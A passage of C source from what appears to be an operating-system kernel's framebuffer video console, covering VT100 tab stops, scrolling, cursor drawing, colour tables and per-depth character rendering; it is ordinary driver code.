{\n\t\t\t\tgc_x++;\n\t\t\t}\n\t\t}\n\t\tbreak;\n\t}\n}\n\nstatic void\ngc_putc_square(unsigned char ch)\n{\n\tint     i;\n\n\tfor (i = 0; i < MAXPARS; i++) {\n\t\tgc_par[i] = 0;\n\t}\n\n\tgc_numpars = 0;\n\tgc_vt100state = ESgetpars;\n\n\tgc_putc_getpars(ch);\n}\n\nstatic void\ngc_reset_screen(void)\n{\n\tprintf(\"[*] gc_reset_screen\\n\");\n\tgc_reset_vt100();\n\tgc_x = gc_y = 0;\n\tprintf(\"[√] screen reset\\n\");\n}\n\nstatic void\ngc_reset_tabs(void)\n{\n\tunsigned int i;\n\n\tif (!gc_buffer_tab_stops) {\n\t\treturn;\n\t}\n\n\tfor (i = 0; i < vinfo.v_columns; i++) {\n\t\tgc_buffer_tab_stops[i] = ((i % 8) == 0);\n\t}\n}\n\nstatic void\ngc_set_tab_stop(unsigned int column, boolean_t enabled)\n{\n\tif (gc_buffer_tab_stops && (column < vinfo.v_columns)) {\n\t\tgc_buffer_tab_stops[column] = enabled;\n\t}\n}\n\nstatic boolean_t\ngc_is_tab_stop(unsigned int column)\n{\n\tif (gc_buffer_tab_stops == NULL) {\n\t\treturn (column % 8) == 0;\n\t}\n\tif (column < vinfo.v_columns) {\n\t\treturn gc_buffer_tab_stops[column];\n\t} else {\n\t\treturn FALSE;\n\t}\n}\n\nstatic void\ngc_reset_vt100(void)\n{\n\tgc_reset_tabs();\n\tgc_scrreg_top    = 0;\n\tgc_scrreg_bottom = vinfo.v_rows;\n\tgc_attr = ATTR_NONE;\n\tgc_charset[0] = gc_charset[1] = 0;\n\tgc_charset_select = 0;\n\tgc_wrap_mode = 1;\n\tgc_relative_origin = 0;\n\tgc_update_color(COLOR_BACKGROUND, FALSE);\n\tgc_update_color(COLOR_FOREGROUND, TRUE);\n}\n\nstatic void\ngc_scroll_down(int num, unsigned int top, unsigned int bottom)\n{\n\tif (!gc_buffer_size) {\n\t\treturn;\n\t}\n\n\tif (bottom <= gc_buffer_rows) {\n\t\tunsigned char colorcodesave = gc_color_code;\n\t\tuint32_t column, row;\n\t\tuint32_t index, jump;\n\n\t\tjump = num * gc_buffer_columns;\n\n\t\tfor (row = bottom - 1; row >= top + num; row--) {\n\t\t\tindex = row * gc_buffer_columns;\n\n\t\t\tfor (column = 0; column < gc_buffer_columns; index++, column++) {\n\t\t\t\tif (gc_buffer_attributes[index] != gc_buffer_attributes[index - jump] ||\n\t\t\t\t    gc_buffer_characters[index] != gc_buffer_characters[index - jump] ||\n\t\t\t\t    gc_buffer_colorcodes[index] != gc_buffer_colorcodes[index - jump]) {\n\t\t\t\t\tif (gc_color_code != gc_buffer_colorcodes[index - jump]) {\n\t\t\t\t\t\tgc_update_color(COLOR_CODE_GET(gc_buffer_colorcodes[index - jump], TRUE ), TRUE );\n\t\t\t\t\t\tgc_update_color(COLOR_CODE_GET(gc_buffer_colorcodes[index - jump], FALSE), FALSE);\n\t\t\t\t\t}\n\n\t\t\t\t\tif (gc_buffer_colorcodes[index] != gc_buffer_colorcodes[index - jump]) {\n\t\t\t\t\t\tgc_ops.paint_char( /* xx             */ column,\n\t\t\t\t\t\t    /* yy             */ row,\n\t\t\t\t\t\t    /* ch             */ gc_buffer_characters[index - jump],\n\t\t\t\t\t\t    /* attrs          */ gc_buffer_attributes[index - jump],\n\t\t\t\t\t\t    /* ch_previous    */ 0,\n\t\t\t\t\t\t    /* attrs_previous */ 0 );\n\t\t\t\t\t} else {\n\t\t\t\t\t\tgc_ops.paint_char( /* xx             */ column,\n\t\t\t\t\t\t    /* yy             */ row,\n\t\t\t\t\t\t    /* ch             */ gc_buffer_characters[index - jump],\n\t\t\t\t\t\t    /* attrs          */ gc_buffer_attributes[index - jump],\n\t\t\t\t\t\t    /* ch_previous    */ gc_buffer_characters[index],\n\t\t\t\t\t\t    /* attrs_previous */ gc_buffer_attributes[index] );\n\t\t\t\t\t}\n\n\t\t\t\t\tgc_buffer_attributes[index] = gc_buffer_attributes[index - jump];\n\t\t\t\t\tgc_buffer_characters[index] = gc_buffer_characters[index - jump];\n\t\t\t\t\tgc_buffer_colorcodes[index] = gc_buffer_colorcodes[index - jump];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif (colorcodesave != gc_color_code) {\n\t\t\tgc_update_color(COLOR_CODE_GET(colorcodesave, TRUE ), TRUE );\n\t\t\tgc_update_color(COLOR_CODE_GET(colorcodesave, FALSE), FALSE);\n\t\t}\n\n\t\t/* Now set the freed up lines to the background colour */\n\n\t\tfor (row = top; row < top + num; row++) {\n\t\t\tindex = row * gc_buffer_columns;\n\n\t\t\tfor (column = 0; column < gc_buffer_columns; index++, column++) {\n\t\t\t\tif (gc_buffer_attributes[index] != ATTR_NONE ||\n\t\t\t\t    gc_buffer_characters[index] != ' ' ||\n\t\t\t\t    gc_buffer_colorcodes[index] != gc_color_code) {\n\t\t\t\t\tif (gc_buffer_colorcodes[index] != gc_color_code) {\n\t\t\t\t\t\tgc_ops.paint_char( /* xx             */ column,\n\t\t\t\t\t\t    /* yy             */ row,\n\t\t\t\t\t\t    /* ch             */ ' ',\n\t\t\t\t\t\t    /* attrs          */ ATTR_NONE,\n\t\t\t\t\t\t    /* ch_previous    */ 0,\n\t\t\t\t\t\t    /* attrs_previous */ 0 );\n\t\t\t\t\t} else {\n\t\t\t\t\t\tgc_ops.paint_char( /* xx             */ column,\n\t\t\t\t\t\t    /* yy             */ row,\n\t\t\t\t\t\t    /* ch             */ ' ',\n\t\t\t\t\t\t    /* attrs          */ ATTR_NONE,\n\t\t\t\t\t\t    /* ch_previous    */ gc_buffer_characters[index],\n\t\t\t\t\t\t    /* attrs_previous */ gc_buffer_attributes[index] );\n\t\t\t\t\t}\n\n\t\t\t\t\tgc_buffer_attributes[index] = ATTR_NONE;\n\t\t\t\t\tgc_buffer_characters[index] = ' ';\n\t\t\t\t\tgc_buffer_colorcodes[index] = gc_color_code;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t} else {\n\t\tgc_ops.scroll_down(num, top, bottom);\n\n\t\t/* Now set the freed up lines to the background colour */\n\n\t\tgc_clear_screen(vinfo.v_columns - 1, top + num - 1, top, bottom, 1);\n\t}\n}\n\nstatic void\ngc_scroll_up(int num, unsigned int top, unsigned int bottom)\n{\n\tif (!gc_buffer_size) {\n\t\treturn;\n\t}\n\n\tif (bottom <= gc_buffer_rows) {\n\t\tunsigned char colorcodesave = gc_color_code;\n\t\tuint32_t column, row;\n\t\tuint32_t index, jump;\n\n\t\tjump = num * gc_buffer_columns;\n\n\t\tfor (row = top; row < bottom - num; row++) {\n\t\t\tindex = row * gc_buffer_columns;\n\n\t\t\tfor (column = 0; column < gc_buffer_columns; index++, column++) {\n\t\t\t\tif (gc_buffer_attributes[index] != gc_buffer_attributes[index + jump] ||\n\t\t\t\t    gc_buffer_characters[index] != gc_buffer_characters[index + jump] ||\n\t\t\t\t    gc_buffer_colorcodes[index] != gc_buffer_colorcodes[index + jump]) {\n\t\t\t\t\tif (gc_color_code != gc_buffer_colorcodes[index + jump]) {\n\t\t\t\t\t\tgc_update_color(COLOR_CODE_GET(gc_buffer_colorcodes[index + jump], TRUE ), TRUE );\n\t\t\t\t\t\tgc_update_color(COLOR_CODE_GET(gc_buffer_colorcodes[index + jump], FALSE), FALSE);\n\t\t\t\t\t}\n\n\t\t\t\t\tif (gc_buffer_colorcodes[index] != gc_buffer_colorcodes[index + jump]) {\n\t\t\t\t\t\tgc_ops.paint_char( /* xx             */ column,\n\t\t\t\t\t\t    /* yy             */ row,\n\t\t\t\t\t\t    /* ch             */ gc_buffer_characters[index + jump],\n\t\t\t\t\t\t    /* attrs          */ gc_buffer_attributes[index + jump],\n\t\t\t\t\t\t    /* ch_previous    */ 0,\n\t\t\t\t\t\t    /* attrs_previous */ 0 );\n\t\t\t\t\t} else {\n\t\t\t\t\t\tgc_ops.paint_char( /* xx             */ column,\n\t\t\t\t\t\t    /* yy             */ row,\n\t\t\t\t\t\t    /* ch             */ gc_buffer_characters[index + jump],\n\t\t\t\t\t\t    /* attrs          */ gc_buffer_attributes[index + jump],\n\t\t\t\t\t\t    /* ch_previous    */ gc_buffer_characters[index],\n\t\t\t\t\t\t    /* attrs_previous */ gc_buffer_attributes[index] );\n\t\t\t\t\t}\n\n\t\t\t\t\tgc_buffer_attributes[index] = gc_buffer_attributes[index + jump];\n\t\t\t\t\tgc_buffer_characters[index] = gc_buffer_characters[index + jump];\n\t\t\t\t\tgc_buffer_colorcodes[index] = gc_buffer_colorcodes[index + jump];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif (colorcodesave != gc_color_code) {\n\t\t\tgc_update_color(COLOR_CODE_GET(colorcodesave, TRUE ), TRUE );\n\t\t\tgc_update_color(COLOR_CODE_GET(colorcodesave, FALSE), FALSE);\n\t\t}\n\n\t\t/* Now set the freed up lines to the background colour */\n\n\t\tfor (row = bottom - num; row < bottom; row++) {\n\t\t\tindex = row * gc_buffer_columns;\n\n\t\t\tfor (column = 0; column < gc_buffer_columns; index++, column++) {\n\t\t\t\tif (gc_buffer_attributes[index] != ATTR_NONE ||\n\t\t\t\t    gc_buffer_characters[index] != ' ' ||\n\t\t\t\t    gc_buffer_colorcodes[index] != gc_color_code) {\n\t\t\t\t\tif (gc_buffer_colorcodes[index] != gc_color_code) {\n\t\t\t\t\t\tgc_ops.paint_char( /* xx             */ column,\n\t\t\t\t\t\t    /* yy             */ row,\n\t\t\t\t\t\t    /* ch             */ ' ',\n\t\t\t\t\t\t    /* attrs          */ ATTR_NONE,\n\t\t\t\t\t\t    /* ch_previous    */ 0,\n\t\t\t\t\t\t    /* attrs_previous */ 0 );\n\t\t\t\t\t} else {\n\t\t\t\t\t\tgc_ops.paint_char( /* xx             */ column,\n\t\t\t\t\t\t    /* yy             */ row,\n\t\t\t\t\t\t    /* ch             */ ' ',\n\t\t\t\t\t\t    /* attrs          */ ATTR_NONE,\n\t\t\t\t\t\t    /* ch_previous    */ gc_buffer_characters[index],\n\t\t\t\t\t\t    /* attrs_previous */ gc_buffer_attributes[index] );\n\t\t\t\t\t}\n\n\t\t\t\t\tgc_buffer_attributes[index] = ATTR_NONE;\n\t\t\t\t\tgc_buffer_characters[index] = ' ';\n\t\t\t\t\tgc_buffer_colorcodes[index] = gc_color_code;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t} else {\n\t\tgc_ops.scroll_up(num, top, bottom);\n\n\t\t/* Now set the freed up lines to the background colour */\n\n\t\tgc_clear_screen(0, bottom - num, top, bottom, 0);\n\t}\n}\n\nstatic void\ngc_show_cursor(unsigned int xx, unsigned int yy)\n{\n\tif (xx < gc_buffer_columns && yy < gc_buffer_rows) {\n\t\tuint32_t index = (yy * gc_buffer_columns) + xx;\n\t\tunsigned char attribute = gc_buffer_attributes[index];\n\t\tunsigned char character = gc_buffer_characters[index];\n\t\tunsigned char colorcode = gc_buffer_colorcodes[index];\n\t\tunsigned char colorcodesave = gc_color_code;\n\n\t\tgc_update_color(COLOR_CODE_GET(colorcode, FALSE), TRUE );\n\t\tgc_update_color(COLOR_CODE_GET(colorcode, TRUE ), FALSE);\n\n\t\tgc_ops.paint_char(xx, yy, character, attribute, 0, 0);\n\n\t\tgc_update_color(COLOR_CODE_GET(colorcodesave, TRUE ), TRUE );\n\t\tgc_update_color(COLOR_CODE_GET(colorcodesave, FALSE), FALSE);\n\t} else {\n\t\tgc_ops.show_cursor(xx, yy);\n\t}\n}\n\nstatic void\ngc_update_color(int color, boolean_t fore)\n{\n\tassert(gc_ops.update_color);\n\n\tgc_color_code = COLOR_CODE_SET(gc_color_code, color, fore);\n\tgc_ops.update_color(color, fore);\n}\n\nvoid\nvcputc(__unused int l, __unused int u, int c)\n{\n\tif (gc_initialized && gc_enabled) {\n\t\tVCPUTC_LOCK_LOCK();\n\t\tif (gc_enabled) {\n\t\t\tgc_hide_cursor(gc_x, gc_y);\n\t\t\tgc_putchar(c);\n\t\t\tgc_show_cursor(gc_x, gc_y);\n\t\t}\n\t\tVCPUTC_LOCK_UNLOCK();\n\t}\n}\n\n/*\n * Video Console (Back-End)\n * ------------------------\n */\n\n/*\n * For the color support (Michel Pollet)\n */\nstatic unsigned char vc_color_index_table[33] =\n{  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n   1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 2 };\n\nstatic uint32_t vc_colors[8][4] = {\n\t{ 0xFFFFFFFF, 0x00000000, 0x00000000, 0x00000000 },     /* black */\n\t{ 0x23232323, 0x7C007C00, 0x00FF0000, 0x3FF00000 },     /* red\t*/\n\t{ 0xb9b9b9b9, 0x03e003e0, 0x0000FF00, 0x000FFC00 },     /* green */\n\t{ 0x05050505, 0x7FE07FE0, 0x00FFFF00, 0x3FFFFC00 },     /* yellow */\n\t{ 0xd2d2d2d2, 0x001f001f, 0x000000FF, 0x000003FF },     /* blue\t */\n//\t{ 0x80808080, 0x31933193, 0x00666699, 0x00000000 },\t/* blue\t */\n\t{ 0x18181818, 0x7C1F7C1F, 0x00FF00FF, 0x3FF003FF },     /* magenta */\n\t{ 0xb4b4b4b4, 0x03FF03FF, 0x0000FFFF, 0x000FFFFF },     /* cyan\t*/\n\t{ 0x00000000, 0x7FFF7FFF, 0x00FFFFFF, 0x3FFFFFFF }      /* white */\n};\n\nstatic uint32_t vc_color_fore = 0;\nstatic uint32_t vc_color_back = 0;\n\n/*\n * New Rendering code from Michel Pollet\n */\n\n/* Rendered Font Buffer */\nstatic unsigned char *vc_rendered_font = NULL;\n\n/* Rendered Font Size */\nstatic uint32_t vc_rendered_font_size = 0;\n\n/* Size of a character in the table (bytes) */\nstatic int vc_rendered_char_size = 0;\n\n#define REN_MAX_DEPTH   32\nstatic unsigned char vc_rendered_char[ISO_CHAR_HEIGHT * ((REN_MAX_DEPTH / 8) * ISO_CHAR_WIDTH)];\n\n#if defined(XNU_TARGET_OS_OSX)\n#define CONFIG_VC_PROGRESS_METER_SUPPORT        1\n#endif /* XNU_TARGET_OS_OSX */\n\n#if defined(XNU_TARGET_OS_OSX)\nstatic void\ninternal_set_progressmeter(int new_value);\nstatic void\ninternal_enable_progressmeter(int new_value);\n\nenum{\n\tkProgressMeterOff    = FALSE,\n\tkProgressMeterUser   = TRUE,\n\tkProgressMeterKernel = 3,\n};\nenum{\n\tkProgressMeterMax    = 1024,\n\tkProgressMeterEnd    = 512,\n};\n\n#endif  /* defined(XNU_TARGET_OS_OSX) */\n\nstatic boolean_t vc_progress_white =\n#ifdef CONFIG_VC_PROGRESS_WHITE\n    TRUE;\n#else /* !CONFIG_VC_PROGRESS_WHITE */\n    FALSE;\n#endif /* !CONFIG_VC_PROGRESS_WHITE */\n\nstatic int vc_acquire_delay = kProgressAcquireDelay;\n\nstatic void\nvc_clear_screen(unsigned int xx, unsigned int yy, unsigned int scrreg_top,\n    unsigned int scrreg_bottom, int which)\n{\n\tuint32_t *p, *endp, *row;\n\tint      linelongs, col;\n\tint      rowline, rowlongs;\n\n\tif (!vinfo.v_depth) {\n\t\treturn;\n\t}\n\n\tlinelongs = vinfo.v_rowbytes * (ISO_CHAR_HEIGHT >> 2);\n\trowline = vinfo.v_rowscanbytes >> 2;\n\trowlongs = vinfo.v_rowbytes >> 2;\n\n\tp = (uint32_t*) vinfo.v_baseaddr;\n\tendp = (uint32_t*) vinfo.v_baseaddr;\n\n\tswitch (which) {\n\tcase 0:         /* To end of screen\t */\n\t\tgc_clear_line(xx, yy, 0);\n\t\tif (yy < scrreg_bottom - 1) {\n\t\t\tp += (yy + 1) * linelongs;\n\t\t\tendp += scrreg_bottom * linelongs;\n\t\t}\n\t\tbreak;\n\tcase 1:         /* To start of screen\t */\n\t\tgc_clear_line(xx, yy, 1);\n\t\tif (yy > scrreg_top) {\n\t\t\tp += scrreg_top * linelongs;\n\t\t\tendp += yy * linelongs;\n\t\t}\n\t\tbreak;\n\tcase 2:         /* Whole screen\t\t */\n\t\tp += scrreg_top * linelongs;\n\t\tif (scrreg_bottom == vinfo.v_rows) {\n\t\t\tendp += rowlongs * vinfo.v_height;\n\t\t} else {\n\t\t\tendp += scrreg_bottom * linelongs;\n\t\t}\n\t\tbreak;\n\t}\n\n\tfor (row = p; row < endp; row += rowlongs) {\n\t\tfor (col = 0; col < rowline; col++) {\n\t\t\t*(row + col) = vc_color_back;\n\t\t}\n\t}\n}\n\nstatic void\nvc_render_char(unsigned char ch, unsigned char *renderptr, short newdepth)\n{\n\tunion {\n\t\tunsigned char  *charptr;\n\t\tunsigned short *shortptr;\n\t\tuint32_t  *longptr;\n\t} current;      /* current place in rendered font, multiple types. */\n\tunsigned char *theChar; /* current char in iso_font */\n\tint line;\n\n\tcurrent.charptr = renderptr;\n\ttheChar = iso_font + (ch * ISO_CHAR_HEIGHT);\n\n\tfor (line = 0; line < ISO_CHAR_HEIGHT; line++) {\n\t\tunsigned char mask = 1;\n\t\tdo {\n\t\t\tswitch (newdepth) {\n\t\t\tcase 8:\n\t\t\t\t*current.charptr++ = (*theChar & mask) ? 0xFF : 0;\n\t\t\t\tbreak;\n\t\t\tcase 16:\n\t\t\t\t*current.shortptr++ = (*theChar & mask) ? 0xFFFF : 0;\n\t\t\t\tbreak;\n\n\t\t\tcase 30:\n\t\t\tcase 32:\n\t\t\t\t*current.longptr++ = (*theChar & mask) ? 0xFFFFFFFF : 0;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tmask <<= 1;\n\t\t} while (mask); /* while the single bit drops to the right */\n\t\ttheChar++;\n\t}\n}\n\nstatic void\nvc_paint_char_8(unsigned int xx, unsigned int yy, unsigned char ch, int attrs,\n    __unused unsigned char ch_previous, __unused int attrs_previous)\n{\n\tuint32_t *theChar;\n\tuint32_t *where;\n\tint i;\n\n\tif (vc_rendered_font) {\n\t\ttheChar = (uint32_t*)(vc_rendered_font + (ch * vc_rendered_char_size));\n\t} else {\n\t\tvc_render_char(ch, vc_rendered_char, 8);\n\t\ttheChar = (uint32_t*)(vc_rendered_char);\n\t}\n\twhere = (uint32_t*)(vinfo.v_baseaddr +\n\t    (yy * ISO_CHAR_HEIGHT * vinfo.v_rowbytes) +\n\t    (xx * ISO_CHAR_WIDTH));\n\n\tif (!attrs) {\n\t\tfor (i = 0; i < ISO_CHAR_HEIGHT; i++) {         /* No attr? FLY !*/\n\t\t\tuint32_t *store = where;\n\t\t\tint x;\n\t\t\tfor (x = 0; x < 2; x++) {\n\t\t\t\tuint32_t val = *theChar++;\n\t\t\t\tval = (vc_color_back & ~val) | (vc_color_fore & val);\n\t\t\t\t*store++ = val;\n\t\t\t}\n\n\t\t\twhere = (uint32_t*)(((unsigned char*)where) + vinfo.v_rowbytes);\n\t\t}\n\t} else {\n\t\tfor (i = 0; i < ISO_CHAR_HEIGHT; i++) { /* a little slower */\n\t\t\tuint32_t *store = where, lastpixel = 0;\n\t\t\tint x;\n\t\t\tfor (x = 0; x < 2; x++) {\n\t\t\t\tuint32_t val = *theChar++, save = val;\n\t\t\t\tif (attrs & ATTR_BOLD) { /* bold support */\n\t\t\t\t\tif (lastpixel && !(save & 0xFF000000)) {\n\t\t\t\t\t\tval |= 0xff000000;\n\t\t\t\t\t}\n\t\t\t\t\tif ((save & 0xFFFF0000) == 0xFF000000) {\n\t\t\t\t\t\tval |= 0x00FF0000;\n\t\t\t\t\t}\n\t\t\t\t\tif ((save & 0x00FFFF00) == 0x00FF0000) {\n\t\t\t\t\t\tval |= 0x0000FF00;\n\t\t\t\t\t}\n\t\t\t\t\tif ((save & 0x0000FFFF) == 0x0000FF00) {\n\t\t\t\t\t\tval |= 0x000000FF;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif (attrs & ATTR_REVERSE) {\n\t\t\t\t\tval = ~val;\n\t\t\t\t}\n\t\t\t\tif (attrs & ATTR_UNDER && i == ISO_CHAR_HEIGHT - 1) {\n\t\t\t\t\tval = ~val;\n\t\t\t\t}\n\n\t\t\t\tval = (vc_color_back & ~val) | (vc_color_fore & val);\n\t\t\t\t*store++ = val;\n\t\t\t\tlastpixel = save & 0xff;\n\t\t\t}\n\n\t\t\twhere = (uint32_t*)(((unsigned char*)where) + vinfo.v_rowbytes);\n\t\t}\n\t}\n}\n\nstatic void\nvc_paint_char_16(unsigned int xx, unsigned int yy, unsigned char ch, int attrs,\n    __unused unsigned char ch_previous,\n    __unused int attrs_previous)\n{\n\tuint32_t *theChar;\n\tuint32_t *where;\n\tint i;\n\n\tif (vc_rendered_font) {\n\t\ttheChar = (uint32_t*)(vc_rendered_font + (ch * vc_rendered_char_size));\n\t} else {\n\t\tvc_render_char(ch, vc_rendered_char, 16);\n\t\ttheChar = (uint32_t*)(vc_rendered_char);\n\t}\n\twhere = (uint32_t*)(vinfo.v_baseaddr +\n\t    (yy * ISO_CHAR_HEIGHT * vinfo.v_rowbytes) +\n\t    (xx * ISO_CHAR_WIDTH * 2));\n\n\tif (!attrs) {\n\t\tfor (i = 0; i < ISO_CHAR_HEIGHT; i++) {         /* No attrs ? FLY ! */\n\t\t\tuint32_t *store = where;\n\t\t\tint x;\n\t\t\tfor (x = 0; x < 4; x++) {\n\t\t\t\tuint32_t val = *theChar++;\n\t\t\t\tval = (vc_color_back & ~val) | (vc_color_fore & val);\n\t\t\t\t*store++ = val;\n\t\t\t}\n\n\t\t\twhere = (uint32_t*)(((unsigned char*)where) + vinfo.v_rowbytes);\n\t\t}\n\t} else {\n\t\tfor (i = 0; i < ISO_CHAR_HEIGHT; i++) { /* a little bit slower */\n\t\t\tuint32_t *store = where, lastpixel = 0;\n\t\t\tint x;\n\t\t\tfor (x = 0; x < 4; x++) {\n\t\t\t\tuint32_t val = *theChar++, save = val;\n\t\t\t\tif (attrs & ATTR_BOLD) { /* bold support */\n\t\t\t\t\tif (save == 0xFFFF0000) {\n\t\t\t\t\t\tval |= 0xFFFF;\n\t\t\t\t\t} else if (lastpixel && !(save & 0xFFFF0000)) {\n\t\t\t\t\t\tval |= 0xFFFF0000;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif (attrs & ATTR_REVERSE) {\n\t\t\t\t\tval = ~val;\n\t\t\t\t}\n\t\t\t\tif (attrs & ATTR_UNDER && i == ISO_CHAR_HEIGHT - 1) {\n\t\t\t\t\tval = ~val;\n\t\t\t\t}\n\n\t\t\t\tval = (vc_color_back & ~val) | (vc_color_fore & val);\n\n\t\t\t\t*store++ = val;\n\t\t\t\tlastpixel = save & 0x7fff;\n\t\t\t}\n\n\t\t\twhere = (uint32_t*)(((unsigned char*)where) + vinfo.v_rowbytes);\n\t\t}\n\t}\n}\n\nstatic void\nvc_paint_char_32(unsigned int xx, unsigned int yy, unsigned char ch, int attrs,\n    unsigned char ch_previous, int attrs_previous)\n{\n\tuint32_t *theChar;\n\tuint32_t *theCharPrevious;\n\tuint32_t *where;\n\tint i;\n\n\tif (vc_rendered_font) {\n\t\ttheChar = (uint32_t*)(vc_rendered_font + (ch * vc_rendered_char_size));\n\t\ttheCharPrevious = (uint32_t*)(vc_rendered_font + (ch_previous * vc_rendered_char_size));\n\t} else {\n\t\tvc_render_char(ch, vc_rendered_char, 32);\n\t\ttheChar = (uint32_t*)(vc_rendered_char);\n\t\ttheCharPrevious = NULL;\n\t}\n\tif (!ch_previous) {\n\t\ttheCharPrevious = NULL;\n\t}\n\tif (attrs_previous) {\n\t\ttheCharPrevious = NULL;\n\t}\n\twhere = (uint32_t*)(vinfo.v_baseaddr +\n\t    (yy * ISO_CHAR_HEIGHT * vinfo.v_rowbytes) +\n\t    (xx * ISO_CHAR_WIDTH * 4));\n\n\tif (!attrs) {\n\t\tfor (i = 0; i < ISO_CHAR_HEIGHT; i++) {         /* No attrs ? FLY ! */\n\t\t\tuint32_t *store = where;\n\t\t\tint x;\n\t\t\tfor (x = 0; x < 8; x++) {\n\t\t\t\tuint32_t val = *theChar++;\n\t\t\t\tif (theCharPrevious == NULL || val != *theCharPrevious++) {\n\t\t\t\t\tval = (vc_color_back & ~val) | (vc_color_fore & val);\n\t\t\t\t\t*store++ = val;\n\t\t\t\t} else {\n\t\t\t\t\tstore++;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\twhere = (uint32_t *)(((unsigned char*)where) + vinfo.v_rowbytes);\n\t\t}\n\t} else {\n\t\tfor (i = 0; i < ISO_CHAR_HEIGHT; i++) { /* a little slower */\n\t\t\tuint32_t *store = where, lastpixel = 0;\n\t\t\tint x;\n\t\t\tfor (x = 0; x < 8; x++) {\n\t\t\t\tuint32_t val = *theChar++, save = val;\n\t\t\t\tif (attrs & ATTR_BOLD) { /* bold support */\n\t\t\t\t\tif (lastpixel && !save) {\n\t\t\t\t\t\tval = 0xFFFFFFFF;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif (attrs & ATTR_REVERSE) {\n\t\t\t\t\tval = ~val;\n\t\t\t\t}\n\t\t\t\tif (attrs & ATTR_UNDER && i == ISO_CHAR_HEIGHT - 1) {\n\t\t\t\t\tval = ~val;\n\t\t\t\t}\n\n\t\t\t\tval = (vc_color_back & ~val) | (vc_color_fore & val);\n\t\t\t\t*store++ = val;\n\t\t\t\tlastpixel = save;\n\t\t\t}\n\n\t\t\twhere = (uint32_t*)(((unsigned char*)where) + vinfo.v_rowbytes);\n\t\t}\n\t}\n}\n\nstatic void\nvc_paint_char(unsigned int xx, unsigned int yy, unsigned char ch, int attrs,\n    unsigned char ch_previous, int attrs_previous)\n{\n\tif (!vinfo.v_depth) {\n\t\treturn;\n\t}\n\n\tswitch (vinfo.v_depth) {\n\tcase 8:\n\t\tvc_paint_char_8(xx, yy, ch, attrs, ch_previous, attrs_previous);\n\t\tbreak;\n\tcase 16:\n\t\tvc_paint_char_16(xx, yy, ch, attrs, ch_previous,\n\t\t    attrs_previous);\n\t\tbreak;\n\tcase 30:\n\tcase 32:\n\t\tvc_paint_char_32(xx, yy, ch, attrs, ch_previous,\n\t\t    attrs_previous);\n\t\tbreak;\n\t}\n}\n\nstatic void\nvc_render_font(short newdepth)\n{\n\tstatic short olddepth = 0;\n\n\tint charindex;  /* index in ISO font */\n\tunsigned char *rendered_font;\n\tunsigned int rendered_font_size;\n\tint rendered_char_size;\n\tspl_t s;\n\n\tif (vm_initialized == FALSE) {\n\t\treturn; /* nothing to do */\n\t}\n\tif (olddepth == newdepth && vc_rendered_font) {\n\t\treturn; /* nothing to do */\n\t}\n\n\ts = splhigh();\n\tVCPUTC_LOCK_LOCK();\n\n\trendered_font      = vc_rendered_font;\n\trendered_font_size = vc_rendered_font_size;\n\trendered_char_size = vc_rendered_char_size;\n\n\tvc_rendered_font      = NULL;\n\tvc_rendered_font_size = 0;\n\tvc_rendered_char_size = 0;\n\n\tVCPUTC_LOCK_UNLOCK();\n\tsplx(s);\n\n\tif (rendered_font) {\n\t\tkheap_free(KHEAP_DATA_BUFFERS, rendered_font, rendered_font_size);\n\t\trendered_font = NULL;\n\t}\n\n\tif (newdepth) {\n\t\trendered_char_size = ISO_CHAR_HEIGHT * (((newdepth + 7) / 8) * ISO_CHAR_WIDTH);\n\t\trendered_font_size = (ISO_CHAR_MAX - ISO_CHAR_MIN + 1) * rendered_char_size;\n\t\trendered_font = kheap_alloc(KHEAP_DATA_BUFFERS, rendered_font_size, Z_WAITOK);\n\t}\n\n\tif (rendered_font == NULL) {\n\t\treturn;\n\t}\n\n\tfor (charindex = ISO_CHAR_MIN; charindex <= ISO_CHAR_MAX; charindex++) {\n\t\tvc_render_char(charindex, rendered_font + (charindex * rendered_char_size), newdepth);\n\t}\n\n\tolddepth = newdepth;\n\n\ts = splhigh();\n\tVCPUTC_LOCK_LOCK();\n\n\tvc_rendered_font      = rendered_font;\n\tvc_rendered_font_size = rendered_font_size;\n\tvc_rendered_char_size = rendered_char_size;\n\n\tVCPUTC_LOCK_UNLOCK();\n\tsplx(s);\n}\n\nstatic void\nvc_enable(boolean_t enable)\n{\n\tvc_render_font(enable ? vinfo.v_depth : 0);\n}\n\nstatic void\nvc_reverse_cursor(unsigned int xx, unsigned int yy)\n{\n\tuint32_t *where;\n\tint line, col;\n\n\tif (!vinfo.v_depth) {\n\t\treturn;\n\t}\n\n\twhere = (uint32_t*)(vinfo.v_baseaddr +\n\t    (yy * ISO_CHAR_HEIGHT * vinfo.v_rowbytes) +\n\t    (xx /** ISO_CHAR_WIDTH*/ * vinfo.v_depth));\n\tfor (line = 0; line < ISO_CHAR_HEIGHT; line++) {\n\t\tswitch (vinfo.v_depth) {\n\t\tcase 8:\n\t\t\twhere[0] = ~where[0];\n\t\t\twhere[1] = ~where[1];\n\t\t\tbreak;\n\t\tcase 16:\n\t\t\tfor (col = 0; col < 4; col++) {\n\t\t\t\twhere[col] = ~where[col];\n\t\t\t}\n\t\t\tbreak;\n\t\tcase 32:\n\t\t\tfor (col = 0; col < 8; col++) {\n\t\t\t\twhere[col] = ~where[col];\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\t\twhere = (uint32_t*)(((unsigned char*)where) + vinfo.v_rowbytes);\n\t}\n}\n\nstatic void\nvc_scroll_down(int num, unsigned int scrreg_top, unsigned int scrreg_bottom)\n{\n\tuint32_t *from, *to, linelongs, i, line, rowline, rowscanline;\n\n\tif (!vinfo.v_depth) {\n\t\treturn;\n\t}\n\n\tlinelongs = vinfo.v_rowbytes * (ISO_CHAR_HEIGHT >> 2);\n\trowline = vinfo.v_rowbytes >> 2;\n\trowscanline = vinfo.v_rowscanbytes >> 2;\n\n\tto = (uint32_t *) vinfo.v_baseaddr + (linelongs * scrreg_bottom)\n\t    - (rowline - 